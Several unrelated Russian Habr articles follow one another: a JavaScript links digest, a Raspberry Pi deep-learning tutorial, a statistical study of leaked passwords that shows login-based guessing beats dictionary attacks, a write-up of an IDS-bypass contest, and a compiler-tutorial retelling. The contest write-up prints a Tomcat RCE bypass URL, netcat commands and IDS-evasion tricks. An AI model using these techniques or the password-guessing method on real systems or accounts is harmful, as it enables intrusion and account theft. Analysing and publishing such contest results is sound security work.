Очень «прикольная» библиотека, которая по своей сути является JavaScript движком для построения изометрических объектов. Жаль, что некоторые демки на нем работают только в WebKit браузерах, да и в целом обидно, что время от времени встречаются проекты, которые игнорируют Firefox. С помощью Obelisk уже сделали неплохой плагин для Chrome — [Isometric Contributions](https://github.com/jasonlong/isometric-contributions), преображающий вашу статистику в GitHub.
[](https://github.com/jasonlong/isometric-contributions)
#### [Holder.js](http://imsky.github.io/holder/)
[](http://imsky.github.io/holder/)
Изящное решение для подстановки изображений с любым размером.
```
```
#### [WinJS](https://github.com/winjs/winjs)
Об этом проекте несколько дней назад [подробно написал](http://habrahabr.ru/post/218283/) хабраюзер [YuriyLuchaninov](http://habrahabr.ru/users/yuriyluchaninov/), но я не могу не упомянуть об этом здесь.
> Microsoft представил JavaScript'овую UI-ориентированную библиотеку для кроссплатформеной разработки — WinJS, который, хоть и существует достаточно давно, но как отдельный «сет» вне привязки к Windows, был представлен только 02.04.2014.
#### Напоследок:
* С недавних пор знаменитая скрепка и другие персонажи MS Word полноценно существуют в [вебе](https://www.smore.com/clippy-js):
[](https://www.smore.com/clippy-js)
* [KOAN Stack](https://github.com/soygul/koan) — (Koa, Angular, Node, Mongo, WebSockets) for real-time full-stack JavaScript web development.
* [haste-compiler](https://github.com/valderman/haste-compiler) — Haskell to Javascript compiler.
* [Metalsmith](https://github.com/segmentio/metalsmith) — «очень модульный» генератор статических сайтов.
* [Mithril.js](https://github.com/lhorie/mithril.js) — довольно шустрый MVC фреймворк.
* [[Track.js](http://trackjs.com/)](http://trackjs.com/) — функциональный сервис для тестирования JavaScript.
* Три источника, где можно скачать фотографии высокого разрешения абсолютно бесплатно, в том числе и для коммерческого использования: [Gratisography](http://www.gratisography.com/), [PublicDomainArchive](http://publicdomainarchive.com/) и [Unsplash](http://unsplash.com/)
* [gh](https://github.com/node-gh/gh) — GitHub command line tool.
* [Asciinema](https://asciinema.org) — великолепный сервис для command line скринкастов, который я обнаружил на страничке gh. Изюминка его в том, что запись идет не в видео формате.
[](https://asciinema.org)
* Крупнейший в Японии синдикат мафии якудза "[Ямагути-гуми](http://ru.wikipedia.org/wiki/%D0%AF%D0%BC%D0%B0%D0%B3%D1%83%D1%82%D0%B8-%D0%B3%D1%83%D0%BC%D0%B8)" открыл в Интернете [собственный сайт](http://zenkokumayakubokumetsudoumei.com/) ([Вести](http://www.vesti.ru/doc.html?id=1440167)).
* [For The Record and The Tragedy of Mozilla](https://medium.com/p/7645a4bf8a2) — мнение сотрудника Mozilla на сложившуюся ситуацию с ЛГБТ и Бренданом Айком. ~~Американская свобода очень абстрактна и даже абсурдна.~~
[**Предыдущая подборка (Выпуск 14)**](http://habrahabr.ru/post/217501/)
Приношу извинения за возможные опечатки. Если вы заметили проблему — напишите, пожалуйста, в личку.
Спасибо всем за внимание. | https://habr.com/ru/post/218197/ | null | ru | null |
# Использование камеры Fish eye на Raspberry Pi 3: запуск предобученных DL моделей для компьютерного зрения
Добрый день,
в продолжение серии статей: [первая](https://habr.com/post/417251/) и [вторая](https://habr.com/ru/post/429894/) об использовании fish eye камеры с Raspberry Pi 3 и ROS я бы хотел рассказать об использовании предобученных Deep Learning моделей для компьютерного зрения с камерой Fish eye на Raspberry Pi 3. Кому интересно, прошу под кат.
Классификация изображений
-------------------------
Как и в прошлых статьях будем использовать Ubuntu 16.04. Для работы нам будет нужна библиотека Keras. Его можно установить на Ubuntu следуя руководству [отсюда](https://medium.com/@vivek.yadav/deep-learning-setup-for-ubuntu-16-04-tensorflow-1-2-keras-opencv3-python3-cuda8-and-cudnn5-1-324438dd46f0).
Перейдем на [страницу](https://www.pyimagesearch.com/2017/10/02/deep-learning-on-the-raspberry-pi-with-opencv/) и нажмем кнопку DOWNLOAD THE CODE! снизу страницы. Вы получите email с исходниками.
Скачаем архив, разархивируем его и перейдем в папку. Для начала запустим скрипт классификации объектов на основе предобученной модели GoogleNet:
```
cd pi-deep-learning/
python pi_deep_learning.py --prototxt models/bvlc_googlenet.prototxt \
--model models/bvlc_googlenet.caffemodel --labels synset_words.txt \
--image images/barbershop.png
```
Получим такой вывод в терминале
```
[INFO] loading model...
[ INFO:0] Initialize OpenCL runtime...
[INFO] classification took 1.7103 seconds
[INFO] 1. label: barbershop, probability: 0.78055
[INFO] 2. label: barber chair, probability: 0.2194
[INFO] 3. label: rocking chair, probability: 3.4663e-05
[INFO] 4. label: restaurant, probability: 3.7257e-06
[INFO] 5. label: hair spray, probability: 1.4715e-06
```
Здесь используется модуль Deep Neural Network (DNN) из OpenCV 3.3. О нем можно прочитать [здесь](https://docs.opencv.org/3.4.2/d2/d58/tutorial_table_of_content_dnn.html).
Теперь попробуем классификацию объектов с предобученной моделью Squeezenet:
```
python pi_deep_learning.py --prototxt models/squeezenet_v1.0.prototxt \
--model models/squeezenet_v1.0.caffemodel --labels synset_words.txt \
--image images/barbershop.png
```
```
[INFO] loading model...
[ INFO:0] Initialize OpenCL runtime...
[INFO] classification took 0.86275 seconds
[INFO] 1. label: barbershop, probability: 0.80578
[INFO] 2. label: barber chair, probability: 0.15124
[INFO] 3. label: half track, probability: 0.0052873
[INFO] 4. label: restaurant, probability: 0.0040124
[INFO] 5. label: desktop computer, probability: 0.0033352
```
У меня классификация сработала за 0.86 sec.
Попробуем теперь на изображении cobra.png:
```
python pi_deep_learning.py --prototxt models/squeezenet_v1.0.prototxt \
--model models/squeezenet_v1.0.caffemodel --labels synset_words.txt \
--image images/cobra.png
```
Вывод:
```
[INFO] classification took 0.87402 seconds
[INFO] 1. label: Indian cobra, probability: 0.47972
[INFO] 2. label: leatherback turtle, probability: 0.16858
[INFO] 3. label: water snake, probability: 0.10558
[INFO] 4. label: common iguana, probability: 0.059227
[INFO] 5. label: sea snake, probability: 0.046393
```
Детекция объектов
-----------------
Теперь попробуем детекцию объектов с Raspberry Pi с fish eye камерой. Перейдем на [страницу](https://www.pyimagesearch.com/2017/10/16/raspberry-pi-deep-learning-object-detection-with-opencv) и нажмем кнопку DOWNLOAD THE CODE! снизу страницы. Вы получите email с исходниками.
Аналогично классификации скачаем, разархивируем, перейдем в папку. Запустим скрипт детекции объектов:
```
python pi_object_detection.py --prototxt MobileNetSSD_deploy.prototxt.txt --model MobileNetSSD_deploy.caffemodel
```
Вывод:
```
[INFO] loading model...
[INFO] starting process...
[INFO] starting video stream...
[ INFO:0] Initialize OpenCL runtime...
libEGL warning: DRI3: failed to query the version
libEGL warning: DRI2: failed to authenticate
```
При запуске скрипта мы можем получить такую ошибку:
```
Error: AttributeError: ‘NoneType’ object has no attribute ‘shape’ (comment to post)
```
Чтобы решить проблему откроем файл pi\_object\_detection.py и закомментируем строку 74:
```
vs = VideoStream(src=0).start()
```
и раскомментируем строку 75
```
vs = VideoStream(usePiCamera=True).start()
```
Мы видим, что скрипт обнаруживает некоторые объекты, хотя не все объекты правильно распознает. По моим наблюдениям скрипт выполняет детекцию объектов довольно быстро (к сожалению, fps не удалось зафиксировать).
Также можем запустить скрипт real\_time\_object\_detection.py. В случае ошибки повторим процедуру для скрипта pi\_object\_detection.py: закомментируем строку 38 и раскомментируем строку 39. Результат
На этом пока все. Всем удачи и до новых встреч! | https://habr.com/ru/post/481066/ | null | ru | null |
# Черная археология датамайнинга: что может быть эффективнее атаки по словарю?
Для тех, кому лениво читать дальше, сразу скажу ответ: атака «логин равен паролю». По статистике, логин равный паролю встречается чаще, чем самый распространенный пароль из словаря. Далее в статье будут некоторые статистические исследования на эту тему, и история, с которой всё началось.
> Начать такое исследование меня побудила одна история, произошедшая в далёком 2000 году с *неким молодым человеком*. Не будучи хакером, он захотел взломать почтовый ящик одной особы. Её логин заканчивался на две цифры, примерно так: masha86@mail.com. После тривиальных паролей, которые не подошли, парень предположил, что пароль может выглядеть следующим образом: mashaDD, где DD – это две произвольные цифры. Сложность этой атаки всего 100 попыток, и примерно на двадцатой попытке пароль подошел, ящик был взломан. *Чего только не сделаешь в молодости из-за ревности и ради любви...*
>
>
Поэтому в сегодняшнем исследовании я решил проверить, насколько часто встречаются пароли, которые либо равны логинам, либо являются их небольшой модификацией.
Для начала, кроме 6 млн. паролей от почтовых записей, я подключил к исследованию базу паролей с одного не-почтового сайта на 3.5 млн. записей. Это свежие записи (май 2015 года), содержащие достаточно мало невалидных паролей. Статистику по паролям с этого сайта я строил отдельно.
**Пароль равен логину**
Количество записей, где пароль равен логину: примерно 87 тысяч для почтовых паролей, 50 тысяч для паролей с сайта. Это много или мало? Для сравнения привожу два наиболее часто встречающиеся пароля (1 и 2 место в распределении). Также для удобства привожу значения в тысячных долях (‰) от общего количества паролей.
| | | |
| --- | --- | --- |
| Почтовые пароли | | Пароли с сайта |
| | Количество | ‰ | | | Количество | ‰ |
| Пароль равен логину | 86908 | 14.3 | | Пароль равен логину | 49327 | 14.0 |
| Топ-1 «123456» | 82830 | 13.6 | | Топ-1 «qwerty» | 33322 | 9.5 |
| Топ-2 «qwerty» | 53144 | 8.7 | | Топ-2 «123456» | 21775 | 6.2 |
**Частичное совпадение**
Далее посмотрим, насколько часто встречаются случаи, где пароль – это небольшая модификация логина. Такие случаи не столь часты, зато это компенсируется небольшой сложностью атаки.
| | | | |
| --- | --- | --- | --- |
| | | **Почтовые пароли** | **Пароли с сайта** |
| **Вид атаки** | **Сложность** | **Количество** | **‰** | **Количество** | **‰** |
| Пароль и логин отличаются
на один последний символ | ~70 | 1835 | 0.30 | 20869 **(!)** | 5.93 |
| Отличаются на два символа,
причем на числа: | 100 | 1702 | 0.28 | 1226 | 0.35 |
| Для пароля добавили один символ | ~100 | 5508 | 0.90 | 1930 | 0.55 |
| Или два | ~10000 | 5087 | 0.84 | 3269 | 0.93 |
| Добавили 4, но только цифры | от 100
до 10000 | 7267 | 1.19 | 3252 | 0.92 |
По частоте, все эти случаи попадают в **топ-50** наиболее распространенных паролей:
**Топ-50 почтовых паролей**
| | |
| --- | --- |
| 123456 | 82830 |
| qwerty | 53144 |
| 123456789 | 23286 |
| 111111 | 13831 |
| qwertyuiop | 12399 |
| qwe123 | 9021 |
| 1234567890 | 8364 |
| 1234567 | 7452 |
| 12345 | 6420 |
| password | 6410 |
| 12345678 | 6374 |
| 123321 | 6170 |
| 7777777 | 5861 |
| 123123 | 5533 |
| 0 | 4977 |
| 666666 | 4197 |
| 1qaz2wsx | 4181 |
| qazwsx | 4143 |
| 1q2w3e4r | 3982 |
| 654321 | 3760 |
| 555555 | 3539 |
| 123qwe | 2973 |
| 1q2w3e4r5t | 2967 |
| zxcvbnm | 2832 |
| qweqwe | 2816 |
| gfhjkm | 2806 |
| 1q2w3e | 2748 |
| klaster | 2695 |
| 112233 | 2565 |
| 121212 | 2445 |
| 987654321 | 2371 |
| 159753 | 2338 |
| 777777 | 2204 |
| qwer1234 | 2015 |
| 1234qwer | 1999 |
| qwerty123 | 1846 |
| 1234 | 1801 |
| asdfgh | 1779 |
| abc123 | 1722 |
| 123654 | 1568 |
| 222222 | 1557 |
| iloveyou | 1508 |
| 987654321 | 1432 |
| samsung | 1427 |
| zxcvbn | 1422 |
| ghbdtn | 1313 |
| 88888888 | 1311 |
| marina | 1284 |
| 131313 | 1268 |
| asdfghjkl | 1243 |
**Топ-50 паролей с сайта**
| | |
| --- | --- |
| qwerty | 33322 |
| 123456 | 21775 |
| (пустой пароль) | 20002 |
| UsdopaA (боты) | 16016 |
| 123456789 | 8298 |
| 1234567890 | 4117 |
| qwertyuiop | 2247 |
| 123321 | 2235 |
| 1234567 | 2214 |
| 1q2w3e4r5t | 2142 |
| 111111 | 2004 |
| 1q2w3e4r | 1682 |
| 123qwe | 1554 |
| 123123 | 1364 |
| qazwsx | 1319 |
| 1q2w3e | 1256 |
| qazwsxedc | 1196 |
| qwe123 | 1186 |
| qweasdzxc | 1126 |
| 9379992 | 1020 |
| 0 | 1018 |
| 4815162342 | 1015 |
| iloveyou | 991 |
| 12345678 | 979 |
| 666666 | 977 |
| zxcvbnm | 957 |
| asdfgh | 930 |
| Jskasgfdfjg | 923 |
| gfhjkm | 914 |
| qwertyuiop[] | 904 |
| 1234qwer | 899 |
| 1q2w3e4r5t6y | 890 |
| qwerty123 | 839 |
| nastya | 799 |
| 555555 | 770 |
| 987654321 | 755 |
| ghbdtn | 746 |
| 12345qwert | 740 |
| 159753 | 737 |
| loveyou | 735 |
| 1234554321 | 716 |
| 7777777 | 711 |
| 1qaz2wsx | 708 |
| 123123123 | 679 |
| samsung | 670 |
| 123qweasdzxc | 662 |
| adidas | 642 |
| asdfghjkl | 641 |
| 789456123 | 636 |
**Вывод**
Сейчас на многих почтовых порталах (но очень редко на обычных сайтах и форумах) нельзя задать пароль, равный логину. Однако, за всё время мне встретился только один сайт, в котором нельзя было задать пароль, прибавив один символ к логину. Сайт так и писал: «ваш пароль очень похож на логин». Однако такая ситуация в современном интернете скорее исключение.
Между тем, атаки с подбором пароля путём небольшой модификации логина оказываются достаточно эффективными по частоте встречаемости, и не требующими большой сложности по количеству вариантов.
Конечно, если сравнивать интегральную сложность – атака по словарю несколько выгоднее. Зато, атаки модификацией логина не учитываются в системах безопасности даже на крупных порталах.
**R-код, если кому-то интересно**
```
################################################
DATA <- readRDS( file = "ClearData.rds" )
################################################
################################################
# Всего записей: 3520000
nrow(DATA)
# Логин совпадает с паролем: 49327
length( which( DATA$login == DATA$passwd) )
################################################
# Для пароля добавили один символ: 1930
length(
which(
substr( DATA$login ,0, nchar(DATA$login) ) ==
substr( DATA$passwd ,0, nchar(DATA$passwd)-1 )
)
)
# Или два: 3269
length(
which(
substr( DATA$login ,0, nchar(DATA$login) ) ==
substr( DATA$passwd ,0, nchar(DATA$passwd)-2 )
)
)
################################################
# На четыре (но только на цифры): 3252
length(
which(
(
substr( DATA$login ,0, nchar(DATA$login) ) ==
substr( DATA$passwd ,0, nchar(DATA$passwd)-4 )
) &
(
grepl(
"\\d\\d\\d\\d",
substr( DATA$passwd ,nchar(DATA$passwd)-3,nchar(DATA$passwd) )
)
)
)
)
################################################
# Пароль и логин отличаются на один последний символ: 20869
length(
which(
(
substr( DATA$login ,0, nchar(DATA$login)-1 ) ==
substr( DATA$passwd ,0, nchar(DATA$passwd)-1 )
) & ( DATA$login != DATA$passwd )
)
)
################################################
# Отличаются на два символа (1477), причем на числа: 1226
length(
which(
(
substr( DATA$login ,0, nchar(DATA$login)-2 ) ==
substr( DATA$passwd ,0, nchar(DATA$passwd)-2 )
) & ( DATA$login != DATA$passwd ) &
(
substr( DATA$login ,0, nchar(DATA$login)-1 ) !=
substr( DATA$passwd ,0, nchar(DATA$passwd)-1 )
) &
(
grepl(
"\\d\\d",
substr( DATA$passwd ,nchar(DATA$passwd)-1,nchar(DATA$passwd) )
)
)
)
)
################################################
################################################
### Строим топ паролей
library(dplyr)
tmpD <- DATA[,c(3,4)]
PASS_SUM <- summarise(group_by(tmpD,passwd), count = sum(count) )
PASS_SUM <- arrange(PASS_SUM,desc(count))
# Количество уникальных паролей: 2132935
nrow(subset(PASS_SUM, PASS_SUM$count==1))
# Количество невалидных паролей: 887
nrow(subset(PASS_SUM, PASS_SUM$count>64))
PASS_100 <- PASS_SUM[1:100,]
write.csv(PASS_100,file = "SpPassSum100.csv", row.names = F)
###########################################
```
**Предыдущий выпуск:** [Черная археология дата майнинга](http://habrahabr.ru/post/260747/)
**В следующем номере:** сравнение базы почтовых паролей с базой паролей не-почтового сайта. Насколько полезны оказались утекшие в 2014 году почтовые пароли? | https://habr.com/ru/post/261331/ | null | ru | null |
# Разбор конкурса IDS Bypass на Positive Hack Days 10
Уже второй раз на конференции Positive Hack Days проходил конкурс IDS Bypass. Как и в прошлый раз (прошлый [разбор](https://habr.com/ru/company/pt/blog/457932/)), участникам предстояло не просто найти слабости в шести сервисах и утащить флаги, но и обойти IDS, которая будет им мешать. Помочь в обходе правил IDS должны были сообщения об их срабатываниях, алерты. И как известно по прошлому конкурсу, количество решений для заданий совершенно неограниченно. Поехали!
### 192.168.30.10 — Apache Tomcat
На порте 8080 нас встречает Apache Tomcat версии 9.0.17. Первый же поиск эксплойта под эту версию должен привести к CVE-2019-0232.
Это задание задумывалось как ознакомительное и было самым простым (как оказалось, не самым). В эксплойте видим тестовый URL с командой `/cgi/test.bat?&dir`. Но при таком запросе он просто виснет, а участник видит алерт IDS:
`ATTACK [PTsecurity] Apache Tomcat RCE on Windows (CVE-2019-0232)`
Задумывалось так, что участник будет видоизменять URL тем же образом, каким бы он делал это для обхода WAF. Регулярное выражение в правиле выглядит так: `pcre: "/\.(?:bat|cmd)\?\&/U";`, и вскоре бы IDS уступила участнику. Кроме того, в некоторых эксплойтах уже есть пример URL с байпасом, например такой: `http://localhost:8080/cgi/test.bat%20%20?&dir`. В итоге многие с легкостью выполнили задание. С конкурсом ознакомились, переходим дальше.
### 192.168.30.20 — PHP Bypass
Главная страница встречает нас предложением протестировать команду ls. Предупреждает, что может не сработать.
Как и ожидалось — не работает. В логе сообщение:
`ATTACK [PTsecurity] file_name parameter possible command injection`
Можно подумать, что в задании необходимо проэксплуатировать RCE и забрать флаг, но идея заключалась в другом. Летом 2019 года автор под псевдонимом @Menin\_TheMiddle опубликовал [статью](https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/) о байпасе IDS и WAF. В ней шла речь о том, что ряд символов в имени GET-параметра PHP интерпретатор приводит к знаку подчеркивания («\_»). Наша IDS, в отличие от PHP, этого не делает. Для примера автор использовал одно из публичных правил IDS нашей команды AttackDetection. А поскольку решающая часть правила Suricata выглядела так: `pcre: "/file_name\s*=\s*[a-zA-Z\.]*[^a-zA-Z\.]/U";`, то и обойти его можно было просто заменив параметр file\_name на, скажем, file[name. Из-за ошибки в правиле Suricata получить флаг можно было просто послав file\_name=.
### 192.168.30.30 — He said yes
Нас встречает форма и инструкция, как получить тот самый флаг. Достаточно просто ответить «yes» на HTTP-запрос.
Участники запускали на своих узлах веб-сервер, отвечали «yes» на входящие запросы и видели следующую строчку в логах:
`JOKE [PTsecurity] Sometimes Positive Technologies hurts! No 'yes' allowed`
Правило проверяло все HTTP-ответы и не пропускало те, внутри которых была строка «yes». Игровой узел также принимал только строку «yes» в нижнем регистре, и это задание набрало наибольшее число разных решений!
Задумка заключалась в том, чтобы перенаправить входящий HTTP-запрос на протокол HTTPS и уже в новом запросе ответить «yes». Для этого вектора в библиотеке requests были специально использованы параметры `allow_redirects=True` и `verify=False`. Решение выглядело так:
`echo -ne "HTTP/1.1 302 Redirect\r\nLocation: https://10.8.0.2/hi_there\r\nContent-Length: 0\r\n\r\n" | sudo nc -nkvlp 80
echo -ne "HTTP/1.1 200 OK\r\nContent-Length: 3\r\nContent-Type: text/html\r\n\r\nyes" | sudo ncat -nvklp 443 –ssl`
Участник @vos использовал стократное вложенное сжатие gzip для HTTP-ответа, а участник @webr0ck использовал заполнение нулями размером почти в 2 мегабайта перед строкой «yes». И в том и в другом случае Suricata оказалась бессильной.
### 192.168.30.40 — DCERPC
Самый дорогой таск на этом конкурсе. Участникам давались данные УЗ администратора и предлагалось проявить свои знания Windows-протоколов. Для получения флага необходимо было вытащить список всех пользователей на устройстве.
Те, кто знаком с безопасностью AD, могут сразу подумать о скрипте samrdump.py из набора impacket, но скрипт «стучится» на закрытый на узле порт 445 SMB. Строка биндинга в скрипте `ncacn_np:*hostname*[\pipe\samr]` фиксирована и ведет на SMB-пайп. Кроме того, из открытых портов на узле обнаруживается только 135, его слушает т. н. Endpoint Mapper. EPM отвечает за резолв RPC-интерфейсов.
Другой скрипт из набора impacket, rpcdump.py, как раз и использует EPM, чтобы узнать список текущих активных RPC-интерфейсов.
`> python rpcdump.py Administrator:TastesG00d@192.168.30.40
Protocol: [MS-SAMR]: Security Account Manager (SAM) Remote Protocol
Provider: samsrv.dll
UUID : 12345778-1234-ABCD-EF00-0123456789AC v1.0
Bindings:
ncacn_ip_tcp:192.168.30.40[49668]
ncacn_np:\\TASK4[\pipe\lsass]`
Среди всех интерфейсов видим необходимый нам SAMR, который отвечает среди прочего и за управление пользователями. С помощью интерфейса SAM скрипт samrdump.py вытаскивает список пользователей. То есть кроме SMB-пайпа мы можем напрямую подключиться к порту 49668 и запросить список пользователей по протоколу DCERPC. Для этого необходимо пропатчить скрипт samrdump.py, чтобы он обращался вместо пайпа напрямую на интерфейс SAMR. По иному пути пошли участники @vos и @Abr1k0s. Они использовали готовый инструмент walksam из набора rpctools, единственная сложность которого заключается в использовании флага RPC\_C\_AUTHN\_LEVEL\_PKT\_PRIVACY вместо RPC\_C\_AUTHN\_LEVEL\_CALL. Альтернативными способами были использование интерфейсов atsvc, svcctl, dcom и других. Все они позволяют произвольное исполнение кода и закрыты правилами IDS. Интерфейс shutdown также был закрыт. Самый необычный способ решения этого задания подразумевал удаленный поиск событий создания пользователя с помощью wevtutil:
### 192.168.30.50 — RDP me
Задача проста: подключиться по RDP с известной учетной записью и прочитать флаг с рабочего стола. Сложность в том, что большинство из известных RDP-клиентов заблокированы правилами IDS. Участники то и дело получали одно из следующих сообщений:
* `TOOLS [PTsecurity] xfreerdp/vinagre/remmina RDP client`
* `TOOLS [PTsecurity] xfreerdp/remmina RDP client`
* `TOOLS [PTsecurity] MSTSC Win10 RDP client`
* `TOOLS [PTsecurity] MSTSC Win7 RDP client`
* `TOOLS [PTsecurity] Rdesktop RDP client`
Иногда разные RDP-клиенты ведут себя одинаково: например, многие Linux-клиенты построены вокруг одной и той же библиотеки. Таск имеет несколько решений.
Первое решение, которое было предусмотрено изначально, — это решение в лоб. Участник перебирает разные опции запуска или пробует разные клиенты и видит разные алерты IDS. После анализа своего трафика он узнает, какой именно пакет блокирует IDS. На основе этого можно сделать вывод о том, как работают правила. Правила срабатывают на определенные последовательности каналов (channelDef) в поле ClientNetworkData и на сам порядок заголовков.
Перебирая опции запуска клиента xfreerdp последних версий, можно наткнуться на опцию echo:
`xfreerdp /v:192.168.30.50 /u:user /p:letmein +echo`
И xfreerdp именно с такими параметрами проскочит мимо правил IDS.
Другой способ продемонстрировали @vos, @Abr1k0s и @astalavista — они подключились к серверу с использованием мобильного клиента Mocha RDP Lite. Принципиально другое решение с использованием netsed нашел участник @webr0ck. Netsed, как и обычный sed, способен подменять сетевые данные на лету. Участник просто занулил все имена каналов в ClientData пакете RDP.
### 192.168.30.60 — LDAP
В описании дан IP-адрес с открытым портом 389. Данных УЗ в задании нет, но сервис LDAP поддерживает анонимные подключения (bind). Однако при простом коннекте при помощи Python-библиотеки ldap3 в три строчки видим алерт IDS.
`server = ldap3.Server('192.168.30.60', port=389)
connection = ldap3.Connection(server)
connection.bind()`
`TEST [PTsecurity] LDAP ASN1 single byte length fields prohibited`
Засняли дамп своего трафика и видим, что сам bind происходит успешно, но searchRequest, который после этого послала библиотека, остается без ответа. На него и срабатывает правило IDS.
Windows-утилиты ADSIEdit и ldp, а также линуксовый ldapsearch дают похожие результаты, но с другими алертами:
`TEST [PTsecurity] LDAP ASN1 1-byte length encoded found
TEST [PTsecurity] LDAP ASN1 2-byte length encoded found
TEST [PTsecurity] LDAP ASN1 4-byte length encoded found`
Все дело оказывается в том, как кодируются длины отдельных полей в сообщениях LDAP. Байт x в последовательности байтов `30 8x yy yy yy` отвечает за длину поля длины в байтах. Например, последовательность `30 82 00 02` кодирует два байта поля длины `00 02`. Таким образом, участнику требовалось попробовать поля другой длины и обнаружить, что IDS не срабатывает на поле длиной 3 байта. Флаг лежит в ответе среди полей namingContexts. Таск предполагал единственное решение, и лишь двое справились с заданием.
### Результаты:
1-е место: @vos — Apple Watch Series 6 + рюкзак
2-е место: @psih1337 — денежное вознаграждение + рюкзак
3-е место: @Abr1k0s — рюкзак | https://habr.com/ru/post/569168/ | null | ru | null |
# Еще один пересказ «туториала» Джека Креншоу
Иногда более-менее не тривиальную задачку приятно решить с чувством легкого базиса под ногами. Базис как бы уже есть, и мы как нечто среднее между художником и архитектором, ловим себя (в данный момент времени) на перекладывании пустого в порожнее, готовя нечто яркое и крепкое (почти как красное полусухое 🙂. Яркое — потому что без йоты красоты легко сойти на полпути, а крепкое — профессия обязывает. Чтобы было еще ярче, призовем в помощь замечательные серии Jack Crenshaw [compilers.iecc.com/crenshaw](https://compilers.iecc.com/crenshaw/) (non-technical introduction to compiler construction) и начнем, пожалуй, с построения маленького, но вполне достойного линтера [en.wikipedia.org/wiki/Lint\_](https://en.wikipedia.org/wiki/Lint_)(software) (Честно говоря, так как ниже будет имплементен разбор яваскрипт кода, вполне допустимо, но только временно, переименовать линтер в парсер и думать дальше в новых терминах)
Сначала хотелось продекларировать базис как есть, но подумав немного, можно неутешительно прийти к выводу — что четко определенный базис не будет иметь всякого смысла, так как находясь в данной точке пространства, в данный момент времени будущее, как и прошлое, весьма туманны.
часть 1
[compilers.iecc.com/crenshaw/tutor1.txt](https://compilers.iecc.com/crenshaw/tutor1.txt)
Introduction…
on the theory and practice of developing language parsers and compilers.
Просто очень хорошее чтиво 🙂
часть 2
[compilers.iecc.com/crenshaw/tutor2.txt](https://compilers.iecc.com/crenshaw/tutor2.txt)
Expression Parsing
В итоге нужно будет уметь запарсить вот такое выражение (1+2)/((3+4)+(5-6))
Что ж, начнем, пожалуй
```
std::string_view s{"(1+2)/((3+4)+(5-6))"};
const m = matcher{std::begin(s), std::end(s)};
lint(expression_t{}, m);
```
То есть мы как бы предполагаем, что токен expression и есть выражение в скобках. Тут по идее нужно определить какую-то взаимосвязь между тремя токенами (почему именно три, честно говоря хз, предположим, что взяли наугад): expression, term и operator.
`expression <-> term <-> operator`
… есть 5+5
… есть 5+5+5
… есть 5+5+5+5
То есть первый вариант можно описать как: term, operator, term
Второй — term, operator, term, operator, term
Последующие — term, {operator, term}\*
То есть expression = term, {operator, term}\*
Далее term — это или число, или скобки. Чем так прекрасна рекурсия, что позволяет думать в терминах здесь и сейчас не думая о предыдущем контексте:
term = number | '(', expression, ')' — или число, или «экспрешен» в скобках, а что за «экспрешен» — да пофиг. То есть можно было начать определение с term, без разницы в целом.
Еще раз что получилось:
`expression = term, {operator, term}*`
`term = number | '(', expression, ')'`
Переводим в код:
```
template
result\_t lint(const expression\_t&, matcher*& m) {
auto x = and\_t {
term\_t{},
optional\_t{
iff\_t{
operator\_t{},
expression\_t{},
}
}
};
return lint(std::move(x), m);
}
struct term\_t {};
template
result\_t lint(const term\_t&, matcher*& m) {
auto x = or\_t {
iff\_t{
char\_t{context::Chars::LeftBracket},
and\_t{
expression\_t{},
char\_t{context::Chars::RightBracket}
}
},
number\_t{},
};
return lint(std::move(x), m);
}**
```
часть 3
[compilers.iecc.com/crenshaw/tutor3.txt](https://compilers.iecc.com/crenshaw/tutor3.txt)
More expression
Тут учимся парсить переменные и присваивание.
Довольно прямолийнейно-таки, но работает:
```
struct assignment_t {};
template
result\_t lint(const assignment\_t&, matcher*& m) {
auto x = std::vector { // models 'foreach' relation
identifier\_t{},
char\_t{context::Chars::EqualSign},
expression\_t{},
optional\_t{
char\_t{context::Chars::Semicolon}
},
};
return lint(std::move(x), m);
}*
```
часть 4
[compilers.iecc.com/crenshaw/tutor4.txt](https://compilers.iecc.com/crenshaw/tutor4.txt)
Interpreters
Не для целей линтера, но интересный и познавательный текст
часть 6
[compilers.iecc.com/crenshaw/tutor6.txt](https://compilers.iecc.com/crenshaw/tutor6.txt)
boolean expression
Интересное чтиво, но в нашей версии линтера забиваем на operator precedence
часть 5, часть 7
[compilers.iecc.com/crenshaw/tutor7.txt](https://compilers.iecc.com/crenshaw/tutor7.txt)
кейворды и лексический сканер
Вроде как сканер как раз и нужен из-за кейвордов. Люди когда-то поняли, что описание правил для «чистого текста» немного сложновато или скучновато. Почему бы не разобрать текст на токены и только затем применить правила разбора языка программирования? Так и делают взрослые ребята (включая Jack Crenshaw), а для нашего скромного линтера разбор на токены будет излишним или скучным. Но вопрос остался открытым: как различить кейворд и переменную?
```
while (true) {...}
whilling = true
```
То есть различие между двумя строчками мы найдем на пятом символе — с одной стороны, как-то поздновато, с другой — это информация, с которой можно работать. То есть у нас есть \_выбор\_ на основе информации о разборке блока с кейвордом: keyword -> match | mismatch | mismatch after n symbols where n > 0
Или переводя в код:
```
template
result\_t lint(const while\_statement\_t&, matcher*& m) {
auto x = choice\_t {
keyword\_t{context::Keywords::While},
// if we match keyword
must\_t {/\* parse body of while expression \*/},
// let's check next keyword if we missing on first position
if\_statement\_t{},
// if mismatch on any other positions just checking
// for variable or function call
mismatch\_keyword\_t{},
};
return lint(std::move(x), m);
}
struct choice\_t { linter a; linter b; linter c; linter d; };
template
constexpr result\_t lint(const choice\_t& x, matcher*& m) {
auto r = lint(x.a, m);
if (!r) return lint(x.b, m);
return lint(\*r == 0 ? x.c : x.d, m);
}**
```
часть 8
[compilers.iecc.com/crenshaw/tutor8.txt](https://compilers.iecc.com/crenshaw/tutor8.txt)
Философская
На самом деле после семи шикарных, но очень больших частей наступает насыщение. Глава номер восемь читается живо, но с задумкой сделать паузу после. Восемь глав позади и восемь будет впереди, как бы намекая сделать остановку. Остановку сделаем после еще одного блока. Cейчас мы уже можем запарсить вот такой весьма бессмысленный, но возможно, часто встречаемый в продакшене скрипт:
```
const co = 4;
const velosity = 42*co + 4/5;
for (const x of xs) { log(x) }
for (let x of xs) {
x = x + 1
notify(x+x)
}
if (!shouldShow) {
let i = 100;
let j = 1000;
startRecord();
while (i != (i-j)) {
while((j+1 >= 100) && (i <= 50)) {
if (i**j === 5) { log(i) }
}
i = i - 1;
j = j - i;
next();
}
if (!!goodWeather) {
i = 6**32
done();
} else {
if (!willBeWorse) {
i = -2;
justSomeFunc();
}
i = (1+2)/((3+4)+(5-6)) + i;
notify(i);
}
}
```
Блок, которого не хватает, есть функция. Функция — очень нужная вещь, без нее даже функционального программирования не построить, не говоря об других. Строим:
`(a, b) => {...} // our lambda`
